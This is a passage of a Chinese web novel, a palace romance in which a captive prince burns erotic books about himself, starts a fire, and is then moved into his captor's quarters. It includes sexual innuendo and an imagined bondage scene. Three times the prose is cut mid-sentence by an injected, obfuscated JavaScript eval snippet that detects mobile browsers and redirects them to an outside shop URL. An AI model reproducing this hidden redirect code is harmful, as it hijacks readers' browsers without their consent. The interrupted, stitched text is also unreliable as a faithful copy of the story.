扉页之后,是一幅笔触细腻的山水舆图,勾勒出云遮雾绕的群山轮廓,旁边用小楷标注:“西南边陲,岷山之中,栖云之处,有国名曰落云。” 这是一本描写落云国的风物志,里面记录了不少游记、风俗和传说,还有不少配图。 “……落云之巅,终年云缭雾绕,邈邈若仙境。其间灵秀之气,常钟于人物。国中儿女,无不肌骨莹润,容色清绝,行止间有出尘之态。” “……受云霞庇护,国中信仰浮霄明泽云岫真君,云无定形,方有万象……” “……云深则静,静则生慧。浮霄真君,命圣师辅国,翻手为云,覆手为雨,善于相云卜卦之术……” 落云国是信仰云岫君,也确实有“圣师相国”,却远没有他写得这样离谱。老师没有他们写得呼风唤雨那么厉害,只是略懂一些相云卜卦。 也从没有人叫云岫君为“浮霄真君”,明明应该叫“明泽真君”或者“云岫君”才对。 难道只因为老师住的“浮霄云宫”,就给云岫君多加了个头衔? 这就是大雍人眼中的落云国吗? 岑月白还是第一次看到,心里莫名有些奇怪的感觉。 他继续往后翻,终于翻到了倪映天重点标记的几页。 7. 火 这两页的纸面格外陈旧。 “及至此代,有公子泱。 公子泱降世之日,长虹贯日,流霞铺锦,及至夜幕,重云竟散,清辉满月当空,银光普照山川。 圣师观之,以为‘云君初醒’之吉兆,老国君大悦,当即敕封储君。 公子泱长于宫阙,其貌渐成,不负天兆。 发如流墨,玉面生辉,眼波流转处,似有烟霞明灭。静时云驻幽谷,动如风回雪舞,清冷孤逸,飘飘不似凡尘中人。” “……” 岑月白看得脚趾扣地,头皮发麻。 因为这书中辞藻堆砌,描绘得如同谪仙般的“公子泱”,正是他本人! 岑月白姓岑,名泱,字月白,正取自他出生那天“月白云开”的天象。 这页后面还附了一张所谓的“公子泱画像”。 画中人身着华丽宫装,明眸皓齿,仙姿玉色。 下面还有一行小字注解:“国中皆传:‘公子泱一笑,可令云开雾散,再笑能使山花遍野。’” “……” “莫名其妙!” “而且画得一点都不像。” 他瘪着嘴,瞪着那张涂脂抹粉,颇为娇丽的画像,无论如何也无法将之与自己联系起来。 倒是前几页描绘父王母后的画像,至少抓住了几分神韵。 公子泱画像这页破了角,纸张十分破旧,上面有各种抚摸的痕迹,边角还沾了些可疑的液体痕迹。 岑月白不想知道那是什么,在脑子里浮想联翩之前,迅速地翻了过去。 就在这时,他发现书页间夹着一张叠起来的纸,书签似的。 他小心地将其展开。 纸上是一幅墨笔勾勒的人像,线条简单,能看出是临摹旁边那幅“公子泱”画像,只是五官有些歪扭。 眼睛的形状似乎被描绘者反复描摹过,墨迹略深。 这不会是倪映天临摹吧…… 岑月白脑袋里忽然就蹦出了这个念头。 “……” 啧,画得真丑。 他将那页画像反过来,岑月白眼前一亮。 背面并非空白,勾勒着山川、河流、城池的轮廓与标记。 这不就是自己费尽心机找的地图吗?!青陵城及其周边地形图! 想来是倪映天随手拿过旁边的一份地图,在背面临摹自己的画像,然后又顺手夹在了这本书里做书签。 地图就一并锁在了这个小柜子里。 岑月白趴到灯下,仔细辨认着地图上的标记。 梁王府的位置被朱笔圈出,几条主要街道、城门、附近的村镇、山隘、河流走向…… 虽然只是这地图没有经过精确地堪舆,画得十分笼统抽象,对城内街巷细节和守备标注很少,更像是一张简略的区域总图。 岑月白心中略感失望,但依旧小心翼翼地将地图重新叠好,贴身塞进里衣最内层。 既然目标达成,他打算将柜中物品归位。 岑月白的目光扫过那两摞封皮空白的旧书,好奇心驱使他再次伸出了手。 他随手捡起最上面一本,翻开。 “轰——!”他的脸蹭一下子就红了。 书页上,是工笔描绘的两个男□□缠的画面,姿势大胆露骨,香艳至极!旁边甚至还有小楷的注解,描述着动作与感受。 岑月白胸口剧烈起伏,心里早已将倪映天骂了千百遍。 龌龊!下流!自己果然没有冤枉他! 他双拳握紧,然而,当他看到某一页,其中一个男人叫对方“月白”的时候,他立刻将整本书狠狠摔了出去! 荒唐!太荒唐了! 他还是低估了倪映天的无耻程度! 他双手抖得厉害,又胡乱翻看了其他几本。 整整两大摞,全是这种不堪入目的东西! 有些是画册,有些是纯文字的话本小说,笔迹各异,显然都是他定制的手抄本。 许多书页边角都有频繁翻阅的折痕,某些段落旁甚至还有朱笔批注,写着评语! “他就是个彻头彻尾的变态!疯子!” 岑月白把东西重新整理好,重新回到床上时,腿都是软的。 倪映天的不要脸程度一次次刷新他的认知。他无力地瘫在自己床上,满脑子是书上那些蝇营狗苟,他没细看,但是结合自己那些乱七八糟的梦境,就让他忍不住得浮想联翩。 昨夜几乎无眠。 清晨,当第一缕天光勉强透过窗纸,岑月白便顶着两个浓重的黑眼圈坐了起来。 不行。 他不能再与这些东西共处一室。 一刻也不能。 昭昭端着温水和早膳进来时,被他这副样子吓了一跳。她连忙放下托盘,沾湿毛巾,给他敷眼睛。 “昭昭,”岑月白接过毛巾,他犹豫片刻,说。“去帮我找个火盆来。要大一点的。” 昭昭不明所以,但还是照做了。 不一会儿,一个结实的铜制火盆被搬到了廊下。仲秋的晨风带着寒意,吹得火盆边缘炭屑发红。 岑月白深吸一口气,转身回到屋内,把柜子里那些腌臜的书一股脑倒了出来。 将有用的东西挑出来之后,其余的岑月白一本一本扔到火盆里,全都烧了! 昭昭虽然想翻一下,看看那是什么,但是岑月白却拦住了她。 “小孩子不能看的。” 昭昭很听话,乖乖退开两步,目光仍追随着岑月白手中的动作。 今天的秋风稍微大了点,她还是不小心瞥到被风吹开的画册的一角。 上面的东西虽然她不是很能理解,但是看到上面□□的男人,她依旧瞬间红透了脸。 岑月白泄愤似的一本本地烧书,反正也没人管他。 他糟蹋了倪映天的“宝贝”,对方很可能要过来找他算账。但是岑月白管不了那么多了,他决不允许这些脏东西放在自己的房间里! “嗤——”的一声,火舌猛地蹿起,贪婪地舔舐着纸页,迅速将其吞噬,化为扭曲的黑灰和一股带着墨臭的焦糊味。 火盆里的火越烧越旺,书册投入太多,有些还未完全燃尽,黑灰和未熄的纸页被强劲的秋风卷起,飘飘扬扬,有几片带着火星的碎纸,落在了廊下干燥的竹制帘席上。 不好。 岑月白心头一紧,连忙起身想去踩灭。 然而已经晚了。 今秋天干物燥的,火势蔓延得很快。 那一点火星在干燥的竹席上迅速蔓延开来,发出“噼啪”的声响,火苗窜起,顺着竹帘,又舔上了旁边的木质窗棂! 岑月白有些无措,他向外叫侍卫,想一起救火。 院门外的侍卫听到动静,探头一看,只见揽月阁廊下火光一片,浓烟滚滚,顿时也慌了神。 有人跑去提水,有人高声呼叫同伴。 火借风势迅速扩张。揽月阁本就是木结构为主,顷刻间,火舌便吞没了小半边回廊,并向主屋扑去。 场面一片混乱。提来的水对于迅速扩大的火势而言,杯水车薪。 浓烟呛得人睁不开眼。 岑月白被烟熏得咳嗽连连,心中渐生绝望之时,一阵急促而整齐的脚步声伴随着威严的喝令由远及近。 “让开!取沙土!截断火路!” 是倪映天。 他来得极快,玄色袍角在奔跑中扬起,眼神锐利,指挥若定。他身后跟着两队训练有素的亲卫,扛着沙袋、水龙等物,立刻接管了混乱的现场。 亲卫们动作迅捷而有效,在倪映天清晰的指令下,火势很快被控制住,并逐渐熄灭。 当最后一缕黑烟散尽,原本清雅幽静的揽月阁已是一片狼藉。 半边回廊焦黑坍塌,主屋外墙和窗棂也留下了灼痕。 倪映天站在院中,目光扫过废墟,最终落在发丝凌乱,却仍倔强地站得笔直的岑月白身上。 在他身后,昭昭吓得瑟瑟发抖,紧紧抓着他衣角。 “究竟是怎么回事?”倪映天的声音听不出太多情绪,但微微蹙起的眉头显示着他的不悦。 他的目光一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301675|198657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫过,昭昭就跪了下去。 “是你把火盆拿来揽月阁的?”他问,语气平淡,却带着无形的压力。 昭昭浑身一颤,头垂得更低,不敢辩解。 岑月白上前一步,挡在了昭昭身前,迎上倪映天的目光:“火是我让她拿的,火也是我放的。你有什么怒气冲我来,别为难一个小姑娘。” “谁为难她了……”倪映天揉了揉眉心,似乎有些疲惫,又有些无奈。 他挥挥手,示意昭昭起来,目光重新回到岑月白脸上:“你要火盆干什么?” 他的视线掠过旁边那个被熏得乌黑的铜盆,里面还有未燃尽的书籍残骸。 岑月白抿了抿唇,既然做了,也没什么不敢认的。 他坦然道:“我把你藏在柜子里那些腌臜玩意儿都烧了。” “什么东西?”倪映天蹙眉。 “就……” 岑月白一噎,想起那些不堪入目的画面,再看看眼前这张近在咫尺的带着困惑的俊脸,话卡在了喉咙里,“就……那些别人给你写的书……还有画,画册……” 他越说声音越低,最后别开脸,抬手摸了摸鼻子。 倪映天先是满脸问号,看着岑月白这奇怪的反应。但忽然,像是明白了岑月白口中的画册指的是什么。 他的表情瞬间僵住。他也尴尬地撇开头,一时竟不知该作何反应。 “……” 令人窒息的沉默在弥漫着焦糊味的空气中蔓延。 最终,倪映天干咳了两声,强行拉回差点失控的表情管理,努力维持着平静的声线,甚至带上了一点公事公办的语气:“算了,没事。烧了就烧了吧。” 他顿了顿,目光扫过一片狼藉的揽月阁,“这里暂时不能住了。一会儿我让下人把正院清扫出来一间屋子,你收拾一下,暂时搬过去。” “?” 岑月白猛地转回头,难以置信地看着倪映天,几乎以为自己听错了。 他烧了他的“珍藏”,差点把他的一处院子都点着了,这人……就这么轻描淡写地揭过了? 不惩罚,不斥责,甚至还安排他们住到正院去? 倪映天却似乎没打算解释。他转向身后一个年轻侍卫说:“祝枭,我今天还要出城,你留下,跟着他。” 他看了一眼岑月白,补充道,“看好了,别让人乱跑。” 名叫祝枭的侍卫朝他笑笑:“好嘞,王爷。” “?” 岑月白看着倪映天,完全无法理解这人的脑回路。 这人是不是傻了? 就这么……算了?还要忙出城?他在忙什么? 比处理自己这个“纵火犯”还重要? 没来由的,岑月白心中升起几分不甘心。似乎自己就这么被忽略了。 自己折腾出这么大动静,在他眼里,难道就如此无足轻重吗? 这算什么? 那些书……那些他惦记了这么多年、甚至专门找人描绘撰写的龌龊东西,难道都是假的? 他烧了,这人连眉头都不皱一下? 还是说……他根本就不在意? 察觉到自己这份不甘心,让岑月白更加羞恼! 就好像他与倪映天这场游戏是自己先输了。 他最后瞪了倪映天一眼,然后转身,拉起昭昭就走。 “慢着。”倪映天的声音忽然从背后响起。 岑月白脚步一顿,没有回头,语气硬邦邦的:“干什么?你不是还要出城忙吗?” 身后沉默了几秒。 然后,脚步声靠近。岑月白刚想回头,一道高大的身影已经挡在了他面前。 他还没来得及看清倪映天的表情,只觉得下巴被一只温热的手轻轻托住,稍稍抬起,紧接着。一个吻就落了下来。 一触即分。 快得像一阵风。 “我出城了。” 倪映天丢下这句话,没再看岑月白瞬间呆滞的脸,转身便大步流星地朝府外走去。 只留下岑月白僵在原地,缓缓打出一个问号。 8. 小王妃 “什么意思!” 岑月白在原地懵了许久才反应过来。 这人到底什么意思啊! 亲完就跑,连句像样的话都没有!把他当什么了? 随手逗弄一下的宠物吗? 他简直要抓狂了。 在原地做了几个深呼吸,岑月白才将目光从倪映天消失的方向收回。 一转头,便对上一双带着戏谑笑意的眼睛。 是刚才那个被倪映天留下的高大侍卫。 他抱着手臂,斜倚在廊柱边,不知看了多久,此刻见岑月白看过来,便笑眯眯地走上前,做了一个“请”的手势:“公子,请吧,属下带您去正院安置。” 岑月白抿了抿唇,没说什么,沉默地跟在他身后。昭昭也怯生生地跟在一旁。 穿过几重院落,比起揽月阁的清幽僻静,王府正院的气象果然截然不同。 殿宇更为轩昂,庭院开阔,铺地的青石板光洁如镜。 通往内院的门楣上,悬着一块乌木匾额,上面是四个筋骨遒劲的大字——“敬慎持躬”。 岑月白脚步微顿,抬头看着那四个字,嘴角忍不住撇了撇。 敬慎持躬?倪映天?岑月白冷笑一声。 这人跟这四个字,有半个铜钱的关系吗? 引路的祝枭,似乎看出了他的心思,嘿嘿一笑,没说什么,只引着他继续向内。 正院主屋坐北朝南,面阔五间,高大肃穆。 在祝枭的吩咐下,仆役们手脚麻利地将主屋西侧的耳房迅速收拾了出来。 房间不大,但陈设一应俱全,窗明几净,甚至比揽月阁的正房还要精致舒适些,炭盆早早烧起,驱散了深秋的寒意。 岑月白站在房门口,看着里面忙碌布置的下人,身体有些僵硬。 “我?住这里?”他难以置信地转头问祝枭,“主屋?还……就在他卧房的隔壁?” 他望向对侧的东耳房,那就是倪映天的卧室!仅隔着一个宽敞的堂屋和两扇门!这距离近得让他头皮发麻。 更重要的是…… 这是,主屋! 内院的主屋,这是…… “当然,”祝枭脸上的笑容似乎永远不变,语气轻快,“王爷吩咐了,在正院清扫屋子安置您。东西厢房是为未来的少爷小姐们预备的。暂时能动用、又符合您身份的,自然只有这里了。” 他顿了顿,笑容加深,意味深长地补充道:“未来的……王妃殿下。” “王妃殿下”四个字猛地扎进岑月白的耳朵里。气血瞬间逆流,一股怒意“蹭”地窜上头顶,烧得他眼前都有些发花。 他娘的倪映天!你到底要闹哪样啊! “王妃殿下,您看这布置还合心意吗?若缺什么,尽管吩咐……”祝枭仿佛没看到他铁青的脸色,仍在尽职尽责地请示道。 “住口!”岑月白终于忍不住,厉声呵斥,“不准再这么叫我!” 祝枭从善如流地立刻噤声,脸上笑意不减,只轻飘飘应了一声:“是~” 他态度恭敬,但那眼神里的促狭却丝毫未减,转而吩咐下人去添置更暖的熏笼和锦被,絮叨着:“公子身娇体弱,刚大病一场,可不能再挨冻……” 眼见正院主屋终于有主了,,机灵的下人们个个打起十二分精神,端茶倒水,铺设床褥,摆放用具,殷勤备至,几乎要将岑月白团团围住。 岑月白看得心烦。 他冷着脸,毫不客气地将除了昭昭以外的所有下人通通撵了出去,连祝枭也想一并关在门外。 祝枭抱着剑,一脸“王爷之命难为”的为难表情,杵在门口不肯走。 两人僵持片刻,最终祝枭“拗不过”这位脾气不小的“王妃殿下”,妥协地退到了廊外,寻了根柱子懒洋洋地靠着,目光却如影随形,并未离开。 室内终于清静下来。 岑月白走到墙角,抱着膝盖慢慢蹲下,将脸埋进臂弯。这里的气息、布局、乃至空气里隐约浮动的那丝属于倪映天的气息,都让他极度不适。 但这里离倪映天更近,离王府的权力核心更近,或许……也能接触到更多秘密。 他必须尽快调整心态。 既然暂时无法改变处境,就要利用一切可能,寻找生机。 下午,昭昭回揽月阁取行李。 岑月白独自在正院范围内走动。 他先是状似无意地踱到外院,目光扫视,果然没看到那个名叫祝枭的侍卫的身影。 他定了定神,转身走向正屋的堂屋。 堂屋陈设比揽月阁奢华许多。 紫檀木的桌椅泛着幽光,多宝阁上陈列着一些古董玉器,墙上挂着气势磅礴的猛虎下山图,空气中弥漫着一种沉稳而威压的气氛。 与揽月阁那种刻意营造的,几乎空无一物的囚笼截然不同,这里充满了生活痕迹。 岑月白的目光,很快被博古架中层横置的一把长剑吸引。 剑鞘古朴,没有过多装饰,但线条流畅,看得出是好东西。 最重要的是,这是一把武器! 他心中一动,下意识地走近,伸出手,想去触碰那剑柄。 “没开刃的,殿下。”一个带着笑意的声音忽然在身后极近处响起。 岑月白吓得浑身一激灵,猛地转身。 看清是祝枭,他才松了口气:“是你。” “我出来逛逛,透透气,总不至于连堂屋都不许进吧?” “自然可以,王妃殿下。”祝枭笑容不变。 “闭嘴。”岑月白额头青筋跳了跳,“不许叫。” “是是是,公子,”祝枭立刻改口,从善如流地转移话题,指了指那把剑,“公子可是喜欢这把剑?这是王爷幼时,先帝赏赐给他习武用的,一直没开刃,就是个念想,摆着好看。” 岑月白眸光微闪,顺势问道:“你好像很了解你们王爷?” 事实上,他并不指望在堂屋找到什么明显的逃跑线索,倪映天没那么蠢。 祝枭作为倪映天的亲卫,既然倪映天吩咐了要看紧他,哪怕自己看不到他的人,也一定逃不过对方的眼睛。 既然甩不掉,不如试着……套点话。 “那当然,”祝枭抱着剑,倚靠在旁边的架子上,“我跟哑巴认识王爷的时候,他还是个十岁出头,脾气比本事大的黄毛小子呢。” “哑巴?”岑月白捕捉到这个称呼。 “是啊,顾凛,就是天天阴沉着一张脸跟在王爷身边那个。”祝枭说着,学着对方的样子绷起脸,做出一副苦大仇深的样子,“就这样,跟别人欠他钱似的。我俩从小在演武堂打到大的。” 岑月白回想了一下,似乎对那个冷面侍卫有点印象。他又问:“那……另一个呢?” 他记得倪映天贴身的亲卫,有三个人。 “哦,你说谭封墨啊,”祝枭撇撇嘴,“那小子是前几年才跟着王爷的,来历可神秘了,身手也不错,我跟你说他这人也很讨厌……” 他正要说下去,忽然话音一顿,眼珠转了转,笑盈盈地看向岑月白,“公子,您对我们王爷身边的人,问得这么清楚做什么呀?” “……” 岑月白沉默地与他对视,心中并无太多意外,只是有些失望。他还以为这个祝枭真的是个头脑简单四肢发达的傻子呢…… 祝枭却忽然凑近了些,几乎贴到岑月白耳边,压低声音,带着一□□哄般的笑意:“哎,公子,您是不是……想逃啊?” 岑月白抬眼,看着祝枭近在咫尺的眼睛,半晌,才缓缓开口,声音平静无波,反唇相讥:“不然呢?我说不想逃,你信吗?” “哎!想逃好办啊!”祝枭闻言,非但没有戒备或警告,反而眼睛一亮,来了劲头,声音压得更低,几乎是用气音说,“我可以帮你呀。” 岑月白心中一凛:“什么意思?” 祝枭凑得更近,嘴唇几乎要碰到他的耳廓:“只要小王妃您跟了我。我保证,带您远走高飞,去一个王爷绝对找不到的地方,怎么样?” “滚。”岑月白瞪了他一眼,知道这家伙完全是在调戏他,寻他开心。 “你怎么也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301676|198657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 也是这种德行! “当然了,”祝枭答得坦然无比,甚至摊了摊手,“不然为什么要跟着王爷呢?我们王爷这品味,啧啧……” “真是绝了。一个个都不知道从哪儿搜罗来的,都这么好看。”他目光毫不掩饰地在岑月白脸上身上流转,带着纯粹的欣赏。 “但你是最好看的,跟小王妃比起来,其他的都是胭脂俗粉了。” 他朝岑月白挑了挑眉,脸上挂起抹邪气的笑,“哎,我没开玩笑,真不考虑一下我?放心,我活儿肯定不比王爷差,保管把您伺候得舒舒服服……” “放肆,”岑月白气得抬腿踹了他一脚,却被他轻易躲开,“乱说话,你就不怕传到倪映天耳朵里?” “王爷?”祝枭浑不在意地掏掏耳朵,“王爷这会儿还在城外励精图治,才没空管我说了什么。” “他最近……到底在忙什么?”岑月白抓住话头,继续问,试图将话题引向更有价值的方向。 “不清楚细节,好像是在规划新一年的屯田和水利吧,”祝枭回答得随意,随即又凑过来,笑嘻嘻地说,“怎么?公子想知道呀?简单,亲我一口,我立刻带您溜出府,偷偷去城外观摩一下王爷是怎么勤政爱民的,怎么样?” “……”岑月白彻底无言。 又来了,这人根本没个正形! 看似毫无心机,爽朗健谈,实则滑不溜手,稍微触及可能敏感的话题,立刻就用这种轻浮的调笑岔开。 接下来,无论岑月白如何旁敲侧击,试图打听王府守卫,青陵城或者倪映天日常动向等信息,祝枭总能四两拨千斤地绕回到对岑月白容貌的赞叹,或是半真半假的“私奔”提议上,搞得岑月白烦不胜烦,只想把这人绑起来打一顿。 直到昭昭抱着一个小包袱回来,身后还跟着提着食盒的仆妇,示意晚膳已备好,岑月白才终于找到借口,狠狠瞪了祝枭一眼,准备转身回自己的房间。 “哎,公子,别走啊,”祝枭忽然从背后叫住他,声音里带着一丝刚想起什么的恍然,“聊了这么久,差点忘了正事。” 岑月白脚步一顿,心中忽然升起不祥的预感。 “下午顾凛回来了一趟,特意让我给您……带个话。”祝枭踱步到他身侧,微微倾身,像是在看好戏般,一字一句清晰地说道: “王爷说,今天晚上,让您去他书房一趟。” 岑月白如遭雷击,他猛地转身,定定地看着祝枭。 暮色中,他的脸色肉眼可见地褪去血色,变得苍白。 书……书房?! 噩梦中的某些画面不受控制地闪现——昏暗的光线,沉重的书案,散落的纸张,冰凉的触感,混合着墨香与…… 该来的……终究还是要来了吗? 祝枭饶有兴致地欣赏着他瞬间变化的神色,安慰似的拍了拍他的肩膀,语气轻快地说:“我去找下人烧热水了。小王妃可以好好准备一下。” “亥时三刻,祝小王妃今晚……玩得愉快~”他眨了眨眼,愉悦地哼着不成调的小曲,转身溜达着出了堂屋。 岑月白僵立在原地,仿佛一尊失了魂的玉雕。 祝枭的声音消散在空气中,岑月白只觉得一股寒意从脚底直窜天灵盖。 亥时三刻。 倪映天要他亥时三刻去书房,那么晚,倪映天要他去书房做什么? 答案似乎不言而喻。 脑海中那些噩梦碎片,骤然变得无比清晰。 烛火摇曳,书卷狼藉地扫落在地。 他被红绸缚住手脚,按在宽大冰凉的书案上,雪白的身体替代了昂贵的宣纸。 视线被遮蔽,其他感官便放大。 鼻尖萦绕着浓烈的墨香和令人作呕的甜腻气息。 毛笔柔软而冰冷的笔尖,蘸着浓墨,或轻或重地在他身上游走,带来一阵阵战栗的痒意。 他能听见笔锋划过皮肤的细微声响,听见自己无法抑制的呜咽,更听见倪映天低沉愉悦的轻笑,以及那狎昵的嗓音…… 岑月白闭了闭眼。 9. 秉烛夜谈 晚膳过后,下人已经依言备好了沐浴的热水。氤氲的水汽弥漫,岑月白站在热气腾腾的木桶边,怔愣地被褪下外袍。 他盯着晃动的水面,迟疑了许久,才踏了进去。 脑中那些画面不断地闪过。 最终,像是下了某种决心。 他咬紧牙关,从贴身藏着的那个小包袱里,摸出了一个淡青色的瓷盒——正是昨夜从乌木柜中翻出药膏。 他指尖颤抖着揭开盒盖,清凉的药草气息散开。 他可不敢奢望倪映天会对他多温柔! 在那方面,倪映天总是像残暴的猛兽,自己的身体还是要自己保护好。岑月白闭上眼,凭着梦中断续的经验和本能猜测,笨拙而羞耻地给自己提前擦了药。 沐浴后,几个年长的婆子捧着熏香的华服和梳妆用具进来,为他精心打扮。 铜镜中映出他苍白的脸和空洞的眼神,婆子们一言不发地为他梳洗着。 岑月白看着镜中任由摆布的自己,忽然觉得有些陌生,他难以相信! 难以相信自己居然没有多少反抗! 明明自己应该宁死不从,应该傲气决然,但现在他只是麻木地坐在镜前,为那些龌龊事做准备?! 就因为倪映天这么多天来对自己的冷落,与自己玩得那些纯情生涩的恋爱游戏…… 这就是倪映天想看到的吗? 一个失去反抗意志,甚至开始配合的玩物? 他猛地一个激灵,身体不由得发起抖来,心中翻腾起无边的烦躁与恶心。 他低喝一声,挥手打掉婆子递来的锦缎外袍,抬手又将刚刚梳拢的头发狠狠揉乱。 乌黑的长发瞬间披散下来,他将身上穿着的那件衣物扯了下来,只留下一件雪白的中衣。 梳洗的婆子们吓得跪倒在地,惶恐不安:“公子,这……这不合规矩,王爷见了要怪罪的……” “穿着这些做什么?”岑月白冷笑,“反正,最后不都要脱掉吗?!” 他最终没再管这些人,也没来得及穿鞋,只穿了一身单薄的素白中衣,披散着长发,在仲秋微凉的夜风里,赤脚走向书房。 他受够了,他要找倪映天问个清楚! 无论结果是什么,他现在只想要个痛快! - 他到得早了很多,书房的窗棂透出明亮的烛光,在昏暗的庭院中格外醒目。 在紧闭的门前,深吸一口气,他抬手想扣门,却忽然止住了动作,一时间心跳如擂鼓,指尖冰凉。 “进来。”倪映天的声音从里面传来,很平淡,听不出情绪。 “……”岑月白推门而入。 书房宽敞整洁,岑月白很熟悉,在梦中倪映天经常带他来这里。对方处理公务时,总爱将他抱在怀里,哪怕什么也不做。 “已经这么晚了吗?” 此刻,倪映天坐在巨大的紫檀木书案后,埋头画着什么。 听到动静,他抬起了头。 他看到门口只着中衣,赤足散发,脸色苍白的岑月白,明显愣了一下。 倪映天眉头微蹙,目光在他身上快速扫过,却没有预料中的不悦或淫邪。 “怎么穿这么少?今天晚上天气凉,我记着专门嘱咐他们给你准备厚衣裳。” 岑月抿着唇看着他,一时无言。 倪映天这话真的是在关心他吗?如果是,有多少是演出来的,又有多少是真心呢? “站门口做什么?不冷吗?过来,这边点了火。” 他语气随意温和,朝岑月白招了招手,视线便又落回了地图上。仿佛完全不在意岑月白这身“不合时宜”的装扮。 岑月白心中那根弦,因为这过于平淡的反应微微一松。他抿了抿唇,依言走了过去。 跳跃的烛光将他单薄的身影拉长,投在墙壁和满架的书卷上。 “帮我把那边两支蜡烛也点上,有点暗。”倪映天头也不抬地吩咐,手指点了点书案另一侧。 点灯?岑月白一怔,这种服侍人的活计? 他自小身为太子,只有别人伺候他的份,什么时候点过灯添过烛?但他忍住了,依言走向那两支半人高的铜烛台。 倪映天低头瞥见他还赤着脚,立刻又叫住了:“哎,算了,还是我来吧,别又着凉了。” 说着,从自己椅子上取下一个坐垫,丢在地上,示意岑月白踩上面。 然后倪映天亲自取出火折子,点亮了又点了两盏蜡烛。 岑月白有些懵,但他的注意力瞬间被书桌上的东西吸引了注意力,那是一副摊开着大幅的地图。 是青陵城的地图。 这份地图图与他怀中那张简陋的示意图截然不同! 它绘制得极其精细,山川河流、城池村镇、道路关隘,乃至地势起伏,都用不同的线条和符号清晰标注。 他从未见过如此精密的堪舆图! 更令他感到新奇的是,堪舆图旁边放着的那根笔。 一支奇怪的笔,他没见过,甚至不确定它是不是一支笔。 那并非毛笔,而是一截削好的木杆,中间嵌着碳条,在图纸上勾勒的线条清晰又纤细,十分漂亮。 “等我把这点画完,你……稍等一会儿。” 倪映天回来后,修长的手很自然地拿起那根奇怪的炭笔,手指轻轻一挑,炭笔便如游鱼般在指间穿梭。 从食指滑到中指,又旋着圈绕回拇指,转得又快又稳。 岑月白看得直愣。 倪映天没在意他的目光,专注地用那支炭笔在图纸上勾画修改,旁边还散落着一些写满东西的纸张。 他看不懂纸张上的奇怪符号,但是似乎是在计算什么。 岑月白没有放过这次机会,目光认真地看着那张堪舆图,他要将上面的东西尽量记下,补充在自己那份粗略的地图上。 入门前的那点紧张和恐惧,不知不觉被这新奇严谨的图卷和倪映天专注的神情稀释了。 他甚至暂时忘记了自己为何而来,忍不住凑近了些,仔细观看。 倪映天似乎完全没在意他的靠近,他沉浸在工作中无暇他顾。 岑月白眯起眼,倪映天像是在详细规划一条水渠的走势,他要在青陵附近的岷江和潞河汇流处,开凿一条水渠,用以灌溉城外的农田。 “为什么要改这一段?” 岑月白下意识问出口时,背脊倏地一凉。 他只是在心里想想,怎么就问出来了?! 他警惕地侧目看着倪映天的侧脸。 倪映天没在意,看也没看他,随口地解释道:“今天去沿路考察了一番,这里土质过于疏松,承力不足,原定的直线开挖恐怕会塌方,得绕一下……” 岑月白震惊地看着面前的倪映天,在昏黄的灯光里,对方的高眉骨在眼底落下浅影,遮住眼底的锋芒。长睫垂着,下颌线尚带着少年人的清隽。 他忽然怔住了。 他才意识到,倪映天也不过比自己大两岁,是个二十岁刚出头的少年。 那些传闻里的冷厉阴狠,在此刻的暖光里,竟都化作了伏案时的认真。 万一呢…… 万一倪映天真得和自己梦里不一样,和传闻中不一样呢…… 他无论如何都无法把眼前的少年与自己想象中的那个恶魔联系在一起。心底的动摇让他吓了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301677|198657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一跳。 在倪映天注意到他的目光前,岑月白仓皇地将目光重新落回桌面,心脏直跳。 倪映天写好了一处节点的标注,准备转向下一条支流时。 岑月白下意识地“哎”了一下。 倪映天执笔的手一顿,转头看向岑月白。 岑月白意识到自己竟然又主动搭话了。 但话已出口,他索性迎上对方的目光:“不行,这里……水库的预计容量大了些。” 指着图上另一处:“你标记的汇流点,地势落差太大,虽然是枯水期才启用的河道,但若有急流,很容易冲毁下游渠口。” 倪映天蹙起眉,瘫在背后的的太师椅上,认真地跟他探讨起这个问题:“可我是按照岷江历年的流量计算的。” “但马上就不一样了。”岑月白说。 “为什么?”倪映天托着下巴,示意他继续说下去。 “因为……”岑月白抿着唇,犹豫地看着倪映天灼人的目光。 “岷江是从岷山流过来的。” 岑月白目光暗了暗,终于道:“三年前,父王在岷江口兴修的大型水利,应该恰好在明年春天竣工……” 倪映天忽的一怔,才意识到面前这人的身份。 “我去年曾去巡视过一次,进行得很顺利,甚至不用明年,或许今年冬天或许就能完工。” “落云国多山多水,水利关乎国本,闲暇时我研究过那些方案图纸。到时候,洪水会被上游截断,枯水期水位反倒会上升,岷江会变得更加温和……” “这里,还有这里,这些渠口都需要重新考虑……” “我认为应该……” 